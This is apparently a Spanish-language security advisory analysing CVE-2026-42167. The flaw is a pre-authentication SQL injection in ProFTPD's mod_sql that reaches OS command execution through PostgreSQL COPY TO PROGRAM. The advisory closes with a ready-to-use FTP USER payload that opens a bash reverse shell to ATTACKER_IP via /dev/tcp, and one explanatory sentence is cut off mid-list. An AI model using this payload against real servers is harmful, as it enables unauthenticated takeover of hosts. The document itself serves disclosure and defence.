
Pre-Auth RCE en ProFTPD mediante la omisión de is_escaped_text() en mod_sql (CVE-2026-42167)
mod_sqlAutor: Van Glenndon Enad
Descubrimiento Original: ZeroPath
Publicado: 1 de mayo de 2026
Severidad: Crítica
Puntuación CVSS v3.1: 8.1
Vector CVSS v3.1: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Puntuación CVSS v2: 7.6
Vector CVSS v2: CVSS2#AV:N/AC:H/Au:N/C:C/I:C/A:C
CWE: CWE-89 (Inyección SQL), CWE-78 (Inyección de Comandos del Sistema Operativo)
CVE-2026-42167 es una vulnerabilidad crítica de inyección SQL pre-autenticación en el módulo de extensión mod_sql de ProFTPD. Una falla lógica en la función is_escaped_text() permite que un atacante no autenticado omita el escape de caracteres SQL manipulando un comando USER cuyo valor satisface una heurística defectuosa de "ya escapado". El SQL inyectado se pasa directamente a la base de datos backend mediante PQexec(), que admite consultas apiladas.
Cuando el rol de base de datos de ProFTPD es un superusuario de PostgreSQL — una mala configuración común en despliegues contenedorizados — la inyección alcanza la directiva COPY TO PROGRAM de PostgreSQL, resultando en Ejecución Remota de Código a nivel de sistema operativo sin autenticación como el usuario del sistema postgres. No se requieren credenciales, acceso previo ni interacción del usuario.
| Componente | Versión |
|---|---|
| ProFTPD | ≤ 1.3.9 |
| Módulo | mod_sql + mod_sql_postgres |
| Versión Corregida | 1.3.9a (publicada el 27 de abril de 2026) |
| Backend | PostgreSQL (RCE); MySQL / SQLite (solo omisión de autenticación) |
ProFTPD es un servidor FTP de código abierto ampliamente desplegado. Según Shodan, existen más de 160.000 instancias de ProFTPD públicamente accesibles en internet. El módulo mod_sql se habilita comúnmente en paneles de control de hosting compartido, incluyendo cPanel, Plesk, DirectAdmin, Webmin e ISPConfig.
El módulo mod_sql de ProFTPD admite autenticación y registro de actividad basados en SQL. Las cadenas de formato de registro pueden incluir variables de sustitución como %U (nombre de usuario), %r (host remoto) y %m (comando FTP). Estas variables se expanden en tiempo de ejecución y se insertan en consultas SQL ejecutadas contra el backend configurado.
Una configuración vulnerable típica:
LoadModule mod_sql.c
LoadModule mod_sql_postgres.c
SQLEngine on
SQLBackend postgres
SQLAuthTypes Plaintext
SQLConnectInfo dbname@localhost dbuser dbpassword
SQLNamedQuery log_activity INSERT "'%U', '%r', '%m'" activity_log
SQLLog * log_activity
SQLLog ERR_* log_activity
En esta configuración, el valor proporcionado en el comando FTP USER se sustituye por %U y se incluye directamente en una sentencia SQL INSERT. Antes de la inserción, el valor se pasa a través de is_escaped_text() para determinar si necesita escape. Esta función contiene una falla lógica crítica.
is_escaped_text()Ubicada en contrib/mod_sql.c, la función aplica la siguiente heurística para decidir si una cadena está "ya escapada":
static int is_escaped_text(const char *s) {
size_t slen = strlen(s);
/* Asumir que la cadena está escapada si:
* 1. Comienza con una comilla simple
* 2. Termina con una comilla simple
* 3. No contiene comillas simples internas
*/
if (slen >= 2 &&
s[0] == '\'' &&
s[slen - 1] == '\'' &&
strchr(s + 1, '\'') == (s + slen - 1)) {
return TRUE; /* omitir escape */
}
return FALSE;
}
Cuando esta función devuelve TRUE, sql_resolved_append_text() (línea 777) inserta el valor crudo, sin escapar, directamente en la cadena de consulta. El valor se ejecuta luego mediante PQexec() en contrib/mod_sql_postgres.c (línea 1146), que admite consultas apiladas (multi-sentencia).
La heurística probablemente fue diseñada para detectar cadenas que ya estaban rodeadas por delimitadores de cadena SQL. Sin embargo, no intenta verificar que el contenido interno sea seguro — solo que no haya comillas simples adicionales. Esto significa que cualquier payload que:
''$$ de PostgreSQL)...pasará la verificación y se inyectará textualmente en la consulta SQL.
Cliente FTP ProFTPD PostgreSQL
│ │ │
│── USER '<payload>' ──▶ │ │
│ │ expandir %U = '<payload>' │
│ │ is_escaped_text() = TRUE│
│ │ omitir escape │
│ │── INSERT INTO activity │
│ │ VALUES ('<payload>', │
│ │ ...) ──────────────▶ │
│ │ │ ejecutar SQL apilado
│ │ │ COPY TO PROGRAM
│ │ │── comando shell ──▶ SO
| Requisito | Notas |
|---|---|
mod_sql habilitado con registro SQL | Debe registrar una variable pre-autenticación como %U |
| Backend PostgreSQL | Requerido para RCE mediante COPY TO PROGRAM; MySQL/SQLite aún permiten omisión de autenticación |
| Rol de BD es superusuario de PostgreSQL | COPY TO PROGRAM está restringido a superusuarios o miembros de pg_execute_server_program |
bash disponible en el host de la BD | Requerido para la entrega de reverse shell mediante /dev/tcp |
| Conectividad de red | El contenedor de PostgreSQL debe poder alcanzar al atacante en el puerto del listener |
La condición de superusuario se cumple frecuentemente en despliegues contenedorizados donde el usuario de BD de ProFTPD se crea mediante POSTGRES_USER=... en la imagen oficial de Docker de PostgreSQL, o cuando un administrador otorga al rol de ProFTPD la propiedad de la base de datos.
Paso 1: El atacante envía un comando USER manipulado (pre-autenticación, sin credenciales)
│
▼
Paso 2: ProFTPD expande %U con el valor controlado por el atacante
│
▼
Paso 3: Omisión de is_escaped_text() — el SQL crudo pasa sin escapar
│
▼
Paso 4: PQexec() ejecuta la consulta apilada contra PostgreSQL
│
▼
Paso 5: COPY TO PROGRAM ejecuta el comando shell del atacante como usuario del SO postgres
│
▼
Paso 6: Reverse shell / exfiltración de archivos entregada al atacante
El payload de inyección se entrega mediante el comando FTP USER:
USER ', null, null); COPY (SELECT $$x$$) TO PROGRAM $$bash -c $$bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1$$$$; --'
| Condición | ¿Satisfecha? | Razón |
|---|---|---|
Comienza con ' | ✅ | El primer carácter es ' |
Termina con ' | ✅ | El último carácter es ' |
| Sin comillas simples internas | ✅ | Las cadenas internas usan entrecomillado con dólar $$ |